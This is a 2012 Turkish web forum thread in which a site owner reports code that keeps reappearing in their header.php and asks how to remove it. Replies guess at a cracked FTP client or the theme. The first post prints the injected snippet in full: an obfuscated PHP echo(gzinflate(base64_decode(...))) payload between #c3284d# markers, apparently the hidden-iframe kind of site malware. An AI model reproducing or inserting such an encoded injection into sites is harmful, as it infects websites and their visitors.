• 21-08-2012, 09:23:31
    #1
    Arkadaşlar merhaba;

    Birkaç gün önce header.php dosyasında yabancı bir kod gördüm ve temizledim. Bu sabah yeniden baktığımda aynı kod yeniden aynı yere yerleşmiş. Bu iframe kodu mudur nedir anlamadım bu sefer biraz daha farklı geldi kod ama bir türlü sildiğim halde kurtulamadım. Sildikçe tam zamanını bilmesem de yeniden geliyor. Dosya izni 644 olarak ayarlı. Yeniden gelmemesi için önerileriniz nedir yada nasıl kurtulabilirim ?

    Kod:
    #c3284d#
    echo(gzinflate(base64_decode("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")));
    #/c3284d#
  • 21-08-2012, 09:27:16
    #2
    Kullandığın ftp programı crackli ise ondan kaynaklıdır
  • 21-08-2012, 09:28:35
    #3
    şifreleme işlemi , foter linki olabilir

    şunu deneyip öğrenebilirsin

    http://forum.shiftdelete.net/junior-...ri-cozmek.html
  • 21-08-2012, 09:42:36
    #4
    Ftp programı crackli değil ve footerda da şifreleme yok başka neyden olabilir
  • 21-08-2012, 17:48:23
    #5
    Üyeliği durduruldu
    sadece o dosyada mı var yoksa diğer php dosyalarda da benzer kod var mı?
  • 21-08-2012, 17:54:10
    #6
    tema gibi gelfdi bana ama bilemiyorum
  • 24-08-2012, 01:36:08
    #7
    Sadece o dosyada çıkıyor sürekli ama temadan mı başka birşeyden mi bilemiyorum